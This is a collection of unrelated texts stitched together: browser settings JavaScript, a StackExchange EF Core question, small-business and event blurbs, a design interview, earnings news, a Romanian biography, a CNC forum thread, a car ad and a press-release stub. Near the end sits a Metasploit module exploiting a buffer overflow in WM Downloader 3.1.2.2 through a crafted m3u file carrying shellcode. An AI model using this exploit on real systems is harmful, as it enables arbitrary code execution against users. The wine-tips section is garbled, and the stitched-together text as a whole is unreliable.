      OptionsPage.showPageByName('bluetooth', false);
    },

    /**
     * Enables factory reset section.
     * @private
     */
    enableFactoryResetSection_: function() {
      $('factory-reset-section').hidden = false;
    },

    /**
     * Set the checked state of the metrics reporting checkbox.
     * @private
     */
    setMetricsReportingCheckboxState_: function(checked, disabled) {
      $('metricsReportingEnabled').checked = checked;
      $('metricsReportingEnabled').disabled = disabled;
    },

    /**
     * @private
     */
    setMetricsReportingSettingVisibility_: function(visible) {
      if (visible)
        $('metricsReportingSetting').style.display = 'block';
      else
        $('metricsReportingSetting').style.display = 'none';
    },

    /**
     * Set the visibility of the password generation checkbox.
     * @private
     */
    setPasswordGenerationSettingVisibility_: function(visible) {
      if (visible)
        $('password-generation-checkbox').style.display = 'block';
      else
        $('password-generation-checkbox').style.display = 'none';
    },

    /**
     * Set the font size selected item.
     * @private
     */
    setFontSize_: function(font_size_value) {
      var selectCtl = $('defaultFontSize');
      for (var i = 0; i < selectCtl.options.length; i++) {
        if (selectCtl.options[i].value == font_size_value) {
          selectCtl.selectedIndex = i;
          if ($('Custom'))
            selectCtl.remove($('Custom').index);
          return;
        }
      }

      // Add/Select Custom Option in the font size label list.
      if (!$('Custom')) {
        var option = new Option(loadTimeData.getString('fontSizeLabelCustom'),
                                -1, false, true);
        option.setAttribute('id', 'Custom');
        selectCtl.add(option);
      }
      $('Custom').selected = true;
    },

    /**
     * Populate the page zoom selector with values received from the caller.
     * @param {Array} items An array of items to populate the selector.
     *     each object is an array with three elements as follows:
     *       0: The title of the item (string).
     *       1: The value of the item (number).
     *       2: Whether the item should be selected (boolean).
     * @private
     */
    setupPageZoomSelector_: function(items) {
      var element = $('defaultZoomFactor');

      // Remove any existing content.
      element.textContent = '';

      // Insert new child nodes into select element.
      var value, title, selected;
      for (var i = 0; i < items.length; i++) {
        title = items[i][0];
        value = items[i][1];
        selected = items[i][2];
        element.appendChild(new Option(title, value, false, selected));
      }
    },

    /**
     * Shows/hides the autoOpenFileTypesResetToDefault button and label, with
     * animation.
     * @param {boolean} display Whether to show the button and label or not.
     * @private
     */
    setAutoOpenFileTypesDisplayed_: function(display) {
      if (cr.isChromeOS)
        return;

      if ($('advanced-settings').hidden) {
        // If the Advanced section is hidden, don't animate the transition.
        $('auto-open-file-types-section').hidden = !display;
      } else {
        if (display) {
          this.showSectionWithAnimation_(
              $('auto-open-file-types-section'),
              $('auto-open-file-types-container'));
        } else {
          this.hideSectionWithAnimation_(
              $('auto-open-file-types-section'),
              $('auto-open-file-types-container'));
        }
      }
    },

    /**
     * Set the enabled state for the proxy settings button.
     * @private
     */
    setupProxySettingsSection_: function(disabled, extensionControlled) {
      if (!cr.isChromeOS) {
        $('proxiesConfigureButton').disabled = disabled;
        $('proxiesLabel').textContent =
            loadTimeData.getString(extensionControlled ?
                'proxiesLabelExtension' : 'proxiesLabelSystem');
      }
    },

    /**
     * Set the Cloud Print proxy UI to enabled, disabled, or processing.
     * @private
     */
    setupCloudPrintConnectorSection_: function(disabled, label, allowed) {
      if (!cr.isChromeOS) {
        $('cloudPrintConnectorLabel').textContent = label;
        if (disabled || !allowed) {
          $('cloudPrintConnectorSetupButton').textContent =
            loadTimeData.getString('cloudPrintConnectorDisabledButton');
          $('cloudPrintManageButton').style.display = 'none';
        } else {
          $('cloudPrintConnectorSetupButton').textContent =
            loadTimeData.getString('cloudPrintConnectorEnabledButton');
          $('cloudPrintManageButton').style.display = 'inline';
        }
        $('cloudPrintConnectorSetupButton').disabled = !allowed;
      }
    },

    /**
     * @private
     */
    removeCloudPrintConnectorSection_: function() {
     if (!cr.isChromeOS) {
        var connectorSectionElm = $('cloud-print-connector-section');
        if (connectorSectionElm)
          connectorSectionElm.parentNode.removeChild(connectorSectionElm);
      }
    },

    /**
     * Set the initial state of the spoken feedback checkbox.
     * @private
     */
    setSpokenFeedbackCheckboxState_: function(checked) {
      $('accessibility-spoken-feedback-check').checked = checked;
    },

    /**
     * Set the initial state of the high contrast checkbox.
     * @private
     */
    setHighContrastCheckboxState_: function(checked) {
      $('accessibility-high-contrast-check').checked = checked;
    },

    /**
     * Set the initial state of the virtual keyboard checkbox.
     * @private
     */
    setVirtualKeyboardCheckboxState_: function(checked) {
      // TODO(zork): Update UI
    },

    /**
     * Show/hide mouse settings slider.
     * @private
     */
    showMouseControls_: function(show) {
      $('mouse-settings').hidden = !show;
    },

    /**
     * Show/hide touchpad-related settings.
     * @private
     */
    showTouchpadControls_: function(show) {
      $('touchpad-settings').hidden = !show;
      $('accessibility-tap-dragging').hidden = !show;
    },

    /**
     * Show/hide the display options button on the System settings page.
     * @private
     */
    showDisplayOptions_: function(show) {
      $('display-options-section').hidden = !show;
    },

    /**
     * Activate the Bluetooth settings section on the System settings page.
     * @private
     */
    showBluetoothSettings_: function() {
      $('bluetooth-devices').hidden = false;
    },

    /**
     * Dectivates the Bluetooth settings section from the System settings page.
     * @private
     */
    hideBluetoothSettings_: function() {
      $('bluetooth-devices').hidden = true;
    },

    /**
     * Sets the state of the checkbox indicating if Bluetooth is turned on. The
     * state of the "Find devices" button and the list of discovered devices may
     * also be affected by a change to the state.
     * @param {boolean} checked Flag Indicating if Bluetooth is turned on.
     * @private
     */
    setBluetoothState_: function(checked) {
      $('enable-bluetooth').checked = checked;
      $('bluetooth-paired-devices-list').parentNode.hidden = !checked;
      $('bluetooth-add-device').hidden = !checked;
      $('bluetooth-reconnect-device').hidden = !checked;
      // Flush list of previously discovered devices if bluetooth is turned off.
      if (!checked) {
        $('bluetooth-paired-devices-list').clear();
        $('bluetooth-unpaired-devices-list').clear();
      } else {
        chrome.send('getPairedBluetoothDevices');
      }
    },

    /**
     * Adds an element to the list of available Bluetooth devices. If an element
     * with a matching address is found, the existing element is updated.
     * @param {{name: string,
     *          address: string,
     *          paired: boolean,
     *          bonded: boolean,
     *          connected: boolean}} device
     *     Decription of the Bluetooth device.
     * @private
     */
    addBluetoothDevice_: function(device) {
      var list = $('bluetooth-unpaired-devices-list');
      if (device.paired) {
        // Test to see if the device is currently in the unpaired list, in which
        // case it should be removed from that list.
        var index = $('bluetooth-unpaired-devices-list').find(device.address);
        if (index != undefined)
          $('bluetooth-unpaired-devices-list').deleteItemAtIndex(index);
        list = $('bluetooth-paired-devices-list');
      } else {
        // Test to see if the device is currently in the paired list, in which
        // case it should be removed from that list.
        var index = $('bluetooth-paired-devices-list').find(device.address);
        if (index != undefined)
          $('bluetooth-paired-devices-list').deleteItemAtIndex(index);
      }
      list.appendDevice(device);

      // One device can be in the process of pairing.  If found, display
      // the Bluetooth pairing overlay.
      if (device.pairing)
        BluetoothPairing.showDialog(device);
    },

    /**
     * Removes an element from the list of available devices.
     * @param {string} address Unique address of the device.
     * @private
     */
    removeBluetoothDevice_: function(address) {
      var index = $('bluetooth-unpaired-devices-list').find(address);
      if (index != undefined) {
        $('bluetooth-unpaired-devices-list').deleteItemAtIndex(index);
      } else {
        index = $('bluetooth-paired-devices-list').find(address);
        if (index != undefined)
          $('bluetooth-paired-devices-list').deleteItemAtIndex(index);
      }
    }
  };

  //Forward public APIs to private implementations.
  [
    'addBluetoothDevice',
    'enableFactoryResetSection',
    'getCurrentProfile',
    'getStartStopSyncButton',
    'hideBluetoothSettings',
    'notifyInitializationComplete',
    'removeBluetoothDevice',
    'removeCloudPrintConnectorSection',
    'scrollToSection',
    'setAutoOpenFileTypesDisplayed',
    'setBluetoothState',
    'setFontSize',
    'setGtkThemeButtonEnabled',
    'setHighContrastCheckboxState',
    'setMetricsReportingCheckboxState',
    'setMetricsReportingSettingVisibility',
    'setPasswordGenerationSettingVisibility',
    'setProfilesInfo',
    'setSpokenFeedbackCheckboxState',
    'setThemesResetButtonEnabled',
    'setVirtualKeyboardCheckboxState',
    'setupCloudPrintConnectorSection',
    'setupPageZoomSelector',
    'setupProxySettingsSection',
    'showBluetoothSettings',
    'showDisplayOptions',
    'showMouseControls',
    'showTouchpadControls',
    'updateAccountPicture',
    'updateAutoLaunchState',
    'updateDefaultBrowserState',
    'updateSearchEngines',
    'updateStartupPages',
    'updateSyncState',
  ].forEach(function(name) {
    BrowserOptions[name] = function() {
      var instance = BrowserOptions.getInstance();
      return instance[name + '_'].apply(instance, arguments);
    };
  });

  if (cr.isChromeOS) {
    /**
     * Returns username (canonical email) of the user logged in (ChromeOS only).
     * @return {string} user email.
     */
    // TODO(jhawkins): Investigate the use case for this method.
    BrowserOptions.getLoggedInUsername = function() {
      return BrowserOptions.getInstance().username_;
    };
  }

  // Export
  return {
    BrowserOptions: BrowserOptions
  };
});


text:
Q: ASP.NET Core Web API - EF Core 7 - Many-to-many - query for single result requires collection return type to build/run Goal
I have two tables related by a many-to-many relationship. I want to get a single item from one side of the many-to-many after filtering the other side.
Say tables Person and PersonRole. In this scenario a role is a customer champion. I want to get a single champion for a given customer id.
Code
Entities:
public class Person
{
    [Key]
    [DatabaseGenerated(DatabaseGeneratedOption.Identity)]
    public int Id { get; set; }
    public string FirstName { get; set; } = string.Empty;
    public string MiddleName { get; set; } = string.Empty;
    public string LastName { get; set; } = string.Empty;
    public ICollection<PersonRole> PersonRole { get; set; } = new List<PersonRole>();
}

public class PersonRole
{
    [Key]
    [DatabaseGenerated(DatabaseGeneratedOption.Identity)]
    public int PersonRoleId { get; set; }
    public int PersonRoleLUId { get; set; }
    public string RoleTargetType { get; set; }
    public int RoleTargetId { get; set; }
    public ICollection<Person> Person { get; set; } = new List<Person>();
}

Repository class (works, but requires collection return type):
// Get *single* Champion for given customer.
// Only way to make this compile is to have a Collection as the return type.
// This just doesn't feel right, and I'm looking for a more correct way to do this.
public async Task<IEnumerable<Person>> GetChampionForCustomerAsync(int customerId,
         int championId)
{
    const int CustomerChampionRoleId = 1;

    return await _context.PersonRoles
                         .Where(personRole => personRole.PersonRoleLUId == CustomerChampionRoleId)
                         .Where(personRole => personRole.RoleTargetType == "Customer")
                         .Where(personRole => personRole.RoleTargetId == customerId)
                         .Include(personRole => personRole.Person)
                         .Select(person => person.Person
                                                 .Where(person => person.Id == championId))
                         .FirstOrDefaultAsync();
}

Repository class (doesn't work):
public async Task<Person> GetChampionForCustomerAsync(int customerId, int championId)
{
    const int CustomerChampionRoleId = 1;

    return (Person) await _context.PersonRoles
                                  .Where(personRole => personRole.PersonRoleLUId == CustomerChampionRoleId)
                                  .Where(personRole => personRole.RoleTargetType == "Customer")
                                  .Where(personRole => personRole.RoleTargetId == customerId)
                                  .Include(personRole => personRole.Person)
                                  .Select(person => person.Person
                                                          .Where(person => person.Id == championId))
                                  .SingleOrDefaultAsync();
}

Errors

CS0266    Cannot implicitly convert type 'System.Collections.Generic.IEnumerable<MaelstromPlatform.API.Entities.Person>' to 'MaelstromPlatform.API.Entities.Person'. An explicit conversion exists (are you missing a cast?)  MaelstromPlatform.API

System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.List`1[MaelstromPlatform.API.Entities.Person]' to type 'MaelstromPlatform.API.Entities.Person'.

Without the cast suggested I get the first error when I compile. If I add the cast like it suggests, I can compile but I get an error in the log & Swagger when I run the API call.
Questions

*

*Why does a return type of a collection make this all work as expected?

*Why doesn't the linq query with the .SingleOrDefault (which I understand should return one and only one or a default) still return a collection?

*Why does adding a cast like the message suggested still fail at runtime but not at compile-time?

*Is there a different way to go about my table structure or queries to make this work?

A: Use SelectMany to flatten Person collection:
public Task<Person> GetChampionForCustomerAsync(int customerId, int championId)
{
    const int CustomerChampionRoleId = 1;

    return _context.PersonRoles
        .Where(personRole => personRole.PersonRoleLUId == CustomerChampionRoleId)
        .Where(personRole => personRole.RoleTargetType == "Customer")
        .Where(personRole => personRole.RoleTargetId == customerId)
        .SelectMany(personRole => personRole.Person)
        .Where(person => person.Id == championId))
        .SingleOrDefaultAsync();
}

redpajama_set_name: RedPajamaStackExchange


This year has been a busy year for Handcrafted Jewelry by Teri C.! I have had the privilege of doing several arts and craft shows including the Indiana Originals Expo and Marketplace! My Authentic Awakening Collection featuring agates and crystal pendants wrapped in gold and silver leaf was featured on a My Indy Style segment! You can now find my jewelry at Neat-O Art Shop in Broadripple. Handcrafted Jewelry by Teri C. was also featured in Indiana & Yoga Winer Magazine, and listed in Kelly's Thoughts on Things 2016 Holiday Gift Guide! I've added a section to my website including rings and have started offering bundles on occasion! I still continue to do custom orders and jewelry repair. I am very much looking forward to what 2017 will bring! Your support has helped Handcrafted Jewelry by Teri C. move forward and my dream of jewelry designing alive and well! THANK YOU! THANK YOU! THANK YOU!


text:
Thanks to Light and Interior Design Duo FILD, Minimalism Is Shining Anew in Ukraine
BY Stephen Gossett
Photography by Andrey Bezuglov
The store and office of emerging Ukrainian design duo FILD, in the Shevchenko neighborhood of Kiev, is easy enough to spy, thanks to its distinctive color scheme: ash grey brick around a bright yellow front door. Inside, among the clean lines and open spaces: more ash grey and bright yellow accents. At the desk is a stack of business cards—which sport that same singular combination of ash grey and yellow.
The through line is representative of both the minimalist approach and identity awareness that, along with a strong focus on sustainability, define the husband-and-wife team, which designs lighting and functional interior objects while also doing interior design. FILD is the first Ukrainian studio to exhibit at the Stockholm Furniture and Light Fair, and their notable projects include interiors for the headquarters of Creative Marketing Solutions Group, the largest advertising holding company in Ukraine. We spoke with designer Dan Vakhrameyev about the helping pioneer the Kiev design scene, the evergreen joys of minimalist design, the challenges of working alongside one's significant other, and more.
Why did you decide to create your own design studio?
Since my curious youth, I always saw design as my calling and never had a second thought about my life direction. The only [second thought] was that time in high school when I was about to become a b-boy dancer. (Laughs)
Meeting my future wife, Kateryna Vakhrameyeva, in 2012 was a crucial moment for creating a company. Basically, FILD grew strong taking its foundation from our relationship and mutual support, and we were able to develop a brand together. I was working with graphic design and Katya was the CEO and founder of an international fashion brand. It took us some time to fully dedicate ourselves fully to FILD, so we officially became a company in 2014.
One of FILD's most recognizable lighting designs is the Corner Pendant Lamp. The Corner line also features a sconce and table lamp.
Where did the inspiration for the company name come from?
I don't want to disappoint you, but there's no significant legend behind the name, unfortunately. It's based on my perception of graphic lettering and the actual sound of the name; we had no previous association with the name. We wanted it to be spacious, short, sharp. and accurate. So FILD was born. (Laughs)
FILD's wall-mounted Geometry Hooks are crafted from powder-coated steel and made in seven different colors
How did you get started with your first object design collection, Sustainable Origins?
We completed a few interior design projects between 2013 and 2014, and each time some interesting light, furniture, or decorative element was needed. At the time, Ukraine was lacking in interesting brands. You saw a lot of bad quality copies and fakes or extremely expensive big brands from Italy and Europe. The middle-class market was not fully formed yet due to all the political and economic turbulence, but our friends wanted to have something interesting and new for a decent price. So we designed and produced the first objects for interior projects for our friends, and since we had gathered five for six elements, we ended up organizing what was essentially the very first presentation of an original contemporary Ukrainian design collection, in December 2014.
The Sustainable Origins (SO) Floor Lamp.
Your team seems to be one of the few objects design studios in Ukraine. Was getting started a challenge?
Yes, you're very right. Our first presentation was actually the first for the whole industry. We gathered all the appropriate press and worked to promote local, original design in general, as a showcase of the possibilities of local designers. There were a lot of manufacturers who never asked for original design from young, local talent. At the time, they preferred just to copy designs from Scandinavia and Europe—and copy them poorly—than to take a risk and develop something locally. But since the revolution, and after a lot of collective effort from the [design] community, we've seen great changes and there's more to come.
Read more interior, product and industrial design stories at Sixtysix.
What's something you consider unique about FILD's designs compared to other designs?
We never try to compare ourselves with others. We truly believe in the uniqueness of each individual, and following your own path is most important of all. FILD is very family-driven and a very personal brand, I would say. We mainly use hand-crafted elements. My father helps a lot with production and assembling and refuses to accept payment—which is definitely great for our accounting. All the designs come from an inner feeling rather than from market research. So I guess we just make honest products without having to compromise quality, and we respect our partners and grow day by day, trying to be better people with each sunrise.
FILD's Tom Tray. It was also produced in forest green, along with Corner lights, Geometry Hooks, and other designs, for the 2019 Stockholm Furniture and Light Fair.
How has your style evolved over time?
Honestly, I do look skeptically аt some of my earliest sketches with a humble smile and think, "Why did I ever consider this cool?"
But some of the very first models, such as SO8, SO6, and SO5, they're simple and timeless, I think. But, of course, we upgraded some details after their initial launch. In general, it's common for me to improve some elements over the time. It shows that we keep growing and changing, and you can't remain stuck in one fixed positing. Now, I dedicate more and more time to color and texture, which is not less important than the form itself. Whatever the case, the core vision remains the same: minimal, clean, accurate lines and forms.
Why do you prefer minimalism?
I honestly love the simplicity of geometric forms, understandable lines, and the purity of space compared to the overwhelming outside world. I'm a great admirer of nature, and when it's contrasted with minimalist objects, there's a real balance. The greatest part of minimalism is self-sufficiency.
A workspace in the CMS Group headquarters, for which FILD designed the interiors.
What's it like running a design studio as a husband-and-wife team?
Surprisingly very balanced. I'm responsible for design, manufacturing, and production. Katya manages sales, new partners, promotions, and finances. We have a great respect for each other's part of the work and fully trust in the process.
Doing everything together is the all-important strategy decision—even responding to your questions. (Laughs) I'm convinced it's a blessing to find a relationships like that. We built it step by step, valuing each other's contributions. Surprisingly, there's been no controversy about how to build the company. We have the same vision for most of the processes and a full commitment to each other—some "magic," perhaps.
A room inside FILD's office and store, in Kiev, shows off the characteristic grey-and-yellow color scheme.
How do your individual strengths and weaknesses play to each other?
I wouldn't call them "weaknesses." There are some things that require more of your attention and work, but those also become a source for self-development.
Some things you can't fully control. It's more about building a healthy attitude toward a given issue—any process requires the creative part and the realization part. When more people are involved in the process, it doesn't always go the way you want it. So, you accept the reality of life, the human factor, and the fact that some outside irritations might sometimes shake the inner balance and piss you off. (Laughs) Sports activities, which I'm pretty committed to also, help restore the balance and wipe out the negativity.
Dan and Kateryna Vakhrameyev
All photography by Andrey Bezuglov. Interview edited for clarity.
DISCOVER MORE SIXTYSIX	Industrial DesignInterior DesignProduct Designer
The Future of American design with Todd Bracher
Portuguese designer André Gouveia of Inngage
Industrial-Design Icon Carl Gustav Magnusson is Still Fighting the Scourge of Banal Design

redpajama_set_name: RedPajamaCommonCrawl


Pandora CEO Brian McAndrews said during the digital radio company's Q1 earnings call that its mobile programmatic solution, currently in beta, will be generally available in Q3.
Pandora's reach, coupled with its focus on in-app mobile programmatic, sets the firm's offering apart, according to McAndrews.
"This is a very big deal because approximately 85% of smartphone usage is spent in-app vs. on mobile web, while most 'mobile programmatic' offerings are on the mobile web," he said.
Speaking to investors during a Q&A session following the firm's prepared remarks, McAndrews was a bit more modest.
Pandora has 230 targeting segments available today, and McAndrews said it will continue to increase those segments within programmatic.
"[Programmatic] will provide us more capabilities in terms of importing our advertisers' data, in addition to the data that we provide," he said.
In terms of revenue, Pandora beat investors' Q1 expectations, netting $230.8 million, a 19% jump YoY. Q1 ad revenue grew 27% YoY to $178.7 million.
Its Q1 mobile revenue totaled $181.1 million, a 23% YoY spike.
Pandora has also been pushing more deeply into local advertising, which grew in Q1 to $43.3 million, a 67% increase from 2014's first quarter. Local now takes 24% of advertising revenue. Audio accounts for about two-thirds of total advertising, eclipsing both display and video.
Pandora, which has struggled to build monthly active users (MAUs) in recent quarters, has been vocal about its goal to grow MAUs to at least 100 million in the US in the long term – a goal it thinks the Internet of Things will help it to achieve.
Pandora missed its lofty goal on Thursday. Active listeners now numbered 79.2 million, up from 75.3 million the same time last year. This was a 3% sequential drop from Q4's 81.5 million. Total listening time on Pandora, however, a signal of loyalty, reached a record high of 22.3 hours per active user per month.


text:
David Zelvenski (în ; ) a fost un evreu transnistrean, istoric, publicist și muzeolog sovietic moldovean.

Biografie
S-a născut în orașul Rîbnița din RASS Moldovenească, RSS Ucraineană (URSS). Tatăl său, Solomon Zelvenski (1909-1943), a murit pe front. A absolvit Școala superioară de comandă a artileriei din Tbilisi (1951), Departamentul de Istorie al Universității din Sverdlovsk (1963), Cursurile de ofițeri superiori (1968) și Cursurile de specializare muzeală ale Ministerului Culturii al URSS (1972).

A lucrat ca lector superior la Școala Militară Superioară de Comunicații din Tomsk și la Universitatea de Stat din același oraș. A fost implicat în organizarea de expoziții muzeale de simbolistică militară, a participat la crearea Muzeului Armatei a 14-a și condus departamentul Muzeului Gloriei Militare a Moldovei.

A fost autor a patru monografii despre simbolistica militară (stindarde și distincții) și tradițiile militare ale forțelor armate ale Rusiei și URSS: "Realizarea cheamă" (Подвиг зовёт, 1974), "Scântei inextinguibile" (Искры негасимые, 1976), "Fiii și nepoții la statul major" (У древка сыновья и внуки, 1979), "Inima curajoasă a Siberiei" (Храброе сердце Сибири, 2005), colecțiile publicistice "Legenda macabeilor nistreeni" (Легенда о Днестровских Маккавеях, 2010) și "Codul speranței" (Код надежды, 2012). A colaborat cu ziarele din Tomsk, "Tânărul leninist" (Молодой ленинец) și "Steagul roșu" (Красное знамя).

Din anii 1980, a locuit la Chișinău, unde a fost redactor-șef al publicației culturale și jurnalistice Рандеву ("Rendezvous") și director al ieșivei Tsirelson din oraș. În 1991 a fost distins cu Ordinul de Onoare.

În 1994 a emigrat în Israel, unde în 1995 a creat muzeul istoric-militar "Energia curajului" (Энергия мужества) la Hadera, a fost președinte al comunității evreieștii din Tomsk în Israel și condus comisia militar-istorică și muzeală a Uniunii israeliene a veteranilor celui de-al doilea război mondial.

Referințe

Nașteri în 1930
Oameni din Rîbnița
Evrei din Transnistria
Istorici evrei
Istorici sovietici
Istorici moldoveni
Istorici militari
Publiciști sovietici
Publiciști moldoveni
Cavaleri ai Ordinului Insigna de Onoare
Muzeologi

redpajama_set_name: RedPajamaWikipedia


I have been wracking my brain trying to figure out how I can make a radiused fretboard using vcarve pro. Basically it is a long narrow rectangle with the top surface curved. Will this gadget allow me to effect that?
You would need a 3D model of the shape you want or you could try the moulding toolpath.
Thank you for the follow-up email.
I am afraid that we would not be able to amend a gadget that we have not written.
You would need to get in touch with the author to see if a later version is available.
Thank you for the quick response, I'll look into it when I get home after work.
There is another gadget that has an odd situation. It's called Chamfer Radius, and I first downloaded it from the Vectric Forum a while back, it's not available from the Vectric gadget collection. It was while I was using the previuos version of Vcarve Pro, 8.5 I believe. I had it set up and used in a number of files that I transferred over to 9.0, and they work fine, unless I recalculate all the toolpaths in one of those files. ReCalculating one or more of the toolpaths other than the Chamfer Radius toolpath works fine, and the Chamfer radius toolpath stays in working order, as long as I don't recalculate it.
I installed this gadget in Aspire V9 and I can't seem to make it work. Maybe I'm missing something? I think it needs to be modified for use in all of the V9 versions.
EDIT: It does work in V 8.5 though.
Jeff needs to change his gadget to work with the latest version. It's not a Vectric gadget.
Any chance of an update? I tried and get same error posted earlier.
This would be wonderfult to have!
Is there any way it could get upgraded to work with v9 or v9.5?
I would be willing to donate some money.
Jeff hasn't been on the forum for a while.
I've changed the lines in the gadget that stopped it working in the latest versions. I don't like amending other peoples code but Jeff appears to have gone awol.
It can be installed using the instructions Jeff posted on the first post of the thread or you can rename the zip file to vgadget and install by double clicking the file or the Install Gadget item in VCarve/Aspire.
Thank you very much!! It seems to be working now from my quick test.
Adrian wrote: I've changed the lines in the gadget that stopped it working in the latest versions. I don't like amending other peoples code but Jeff appears to have gone awol.
Slightly confused here. I downloaded your modified gadget and placed in the correct location but when I run it in Vcarve Pro 9.5 is just comes up as a Chamfer Tool and not a Chamfer Radius tool. Any ideas?
This is the radius version. The postings got mixed up somewhere along the line.


There is so many things that the average wine is right for different occasions and types of cuisine.There are podcasts, including the article below. Pay attention so that you're able to have a successful wine experience.
Wine can be used as a terrific sauce for beef dishes. Let it simmer so that it thickens and cooks off some of the alcohol. Then drizzle it over your beef!
If you tend to get headaches after drinking wine, you may want to reduce the amount you drink. You need to drink moderately at all times.
Serve your wine at the right temperature to get the most flavor from each glass. Red wine is best and more flavorful when served at around 60 degrees Fahrenheit. You should serve your red wine being at 58F degrees and wait until it warms up. White wines are best served at a temperature of 47 degrees. Serving a white wine too warm dulls the flavor.
Keep your reds and whites in their respective glasses. White wines taste better in a small glass because it doesn't allow warmth to reach the wine's surface. Red wine glasses are designed with a wider glasses. This lets air reach the wine, which brings out the flavor.
White wines do not have to be cool to taste good. Different types of white wines have unique textures and weights, each one is going to taste better at different temperatures.Sauvignon blanc should be served chilled, but chardonnay and pinot gris are best served a little warmer.
Take a trip to the regions where wine regions.You will be able to understand and explain the wine to other people. Also, the areas are ideal vacation spots, making for a memorable experience.
Try to keep a large assortment of wine in your arsenal. This is important since you won't be prepared for various situations with only one type of wine available.
Toasts are quite common at social groupings. This will result in the timeless tradition of everyone's glass. If not done correctly, it may shatter, and that will be a mess.
Make sure you take a moment to talk with the waiters and clerks at your favorite restaurant. Getting to know the people behind the counter can often lead to savings down the road or a warning in advance for a great sale that you might have missed otherwise.
Wine tasting exhibitions are not always focused just on adults, so do some research to find family friendly tastings. Some events permit all ages, but there are others that cater to children with separate drinks and activities.
Wine tastings are a great opportunity to acquaint yourself with different types of wines. Try to attend as many tasting as you possibly can. You can learn about wines at these events. Keep a clear by remembering to spit the wine out after tasting it.
Try taking a wine class about wine. You should know all about the different varieties, how it is produced and what all the different types of wine are.
Wineries offer events that provide discounts and tasting opportunities.
If a little butter and lemon would be perfect, look for a wine that has one of these undertones. This way you'll always have a pleasant pairing.
This can help you to swirl and sniff wine easily. Choose a thin glass and clear glass.A gently-curved top and long stem makes for the ideal glass.
You want white wine after it has had time to chill. Room temperature white wine. You can get white wine in your fridge for about two hours before drinking. You can speed up this to half an hour by chilling the wine in a bucket of ice water instead.
Examine the condition of any bottle of wine before you buy it. Make sure they're at the fill level is the other wine bottles. It needs to be up to the bottle's neck. Make sure there aren't any spots where it can leak.
You do not have a cellar or temperature-controlled refrigerator to enjoy wine. A closet will often work for your best bet. You do not need to have a wine fridge if you are not buying many expensive wines.
The temperature that wines is very important. Take wines out of the right temperature.
Make sure you give your wine has a moment to breathe. Red wines need at least fifteen minutes of breathing to bring out the flavor.It is not sufficient to just removing the cork out of the bottle. You may want to use a specialized aerator if you'd like to speed this process go faster.
Once you know wine basics, the rest is a cinch. Although there are guidelines, it comes down to a matter of preference. Educate yourself on the fundamentals of wine and then let your individual tastes and preferences guide you on your way. Be sure to keep the information in this article in mind!


Dodge is bringing classic back in a big way! Our incredible Accident Free 2013 Challenger SXT Coupe shown in Black Clear Coat has been outfitted with a classic retro concept and old-school styling. Powered by 3.6 Liter V6 that offers 305hp while connected to a 5 Speed Automatic transmission. This Rear Wheel Drive machine moves down the highways with ease and rewards you with great looks while delivering 27mpg on the open road.
Our version is not an identical copy of the '70s icon, but its DNA will be recognized by anyone. This snappy five-passenger coupe evokes images of a bygone era by delivering appearance, comfort, and convenience features. You'll appreciate amenities such as full power accessories, keyless entry, and a leather-wrapped steering wheel with audio controls. Just look at the pictures and see yourself in the driver seat. Even if you are not a product of the 70's, this modernized classic powerhouse will undoubtedly make you smile the second you slide behind the wheel.


We are super excited for another summer ShopUp in East London this year, our 7th event in London! This Saturday and Sunday we'll be at The Yard in Shoreditch with more than 30 charming independent boutiques for both you and the littles. At a new venue, this event will be bigger and better than last year — with easier access and lots of buggy parking.
While we know you are coming for the summer shopping, the ShopUp is a true family event with fun for all. You can have lunch at Nanny Bills (lookout for the Babyccino special!) and then have fun picking out your favourite flavour of gelato at the La Gelatiera gelato bike! We've got a coffee stand on hand too, to keep you energized for the day.
Be sure to stop by the Mrs. Wordsmith table to get your treasure trail (with a sweet treat for those who finish, of course), and then check out the Paperbirds arts and crafts area to get crafty! Mr Baudruche will be there with his extraordinary balloon animals as well. Or you can pop your children in the creche by Entreprenursery to have a shop around alone!
Emily Quinton will be on hand to do fun family photos, too — a great Father's Day gift! (Book a free mini session at our welcome desk, and pay for the photos you choose later.) And our lovely founders Esther and Emilie will be there, so come by and say hi!
We hope you can join us for this family day out — we can't wait! See you there.


text:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WM Downloader 3.1.2.2 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
				the application is used to import a specially crafted m3u file, a buffer overflow occurs
				allowing arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'fdisk', 	# Original Exploit
					'dookie'	# MSF Module
				],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'OSVDB', '66911'],
					[ 'URL', 'http://www.exploit-db.com/exploits/14497/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x09\x0a",
					'StackAdjustment' => -3500
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ],	# p/p/r in WDfilter03.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 28 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
			], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(43480)	# Offset for WinXP
		sploit << "\xeb\x20\x90\x90"		# Jump to the nops after the 2nd offset
		sploit << [target.ret].pack('V')	# Offset
		sploit << rand_text_alpha_upper(16)	# Pad to reach the Win7 Offset
		sploit << "\xeb\x0C\x90\x90" 		# Jump over the cruft
		sploit << [target.ret].pack('V')	# Offset
		sploit << "\x90" * 8
		sploit << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)

	end

end

redpajama_set_name: RedPajamaGithub


text:
Press release - 12 May 2015 00:00
General Election 2015 - Our panel's reactions to the result
Our academics offer their expert opinions on the General Election results.
Howard Elcock, Emeritus Professor of Government.
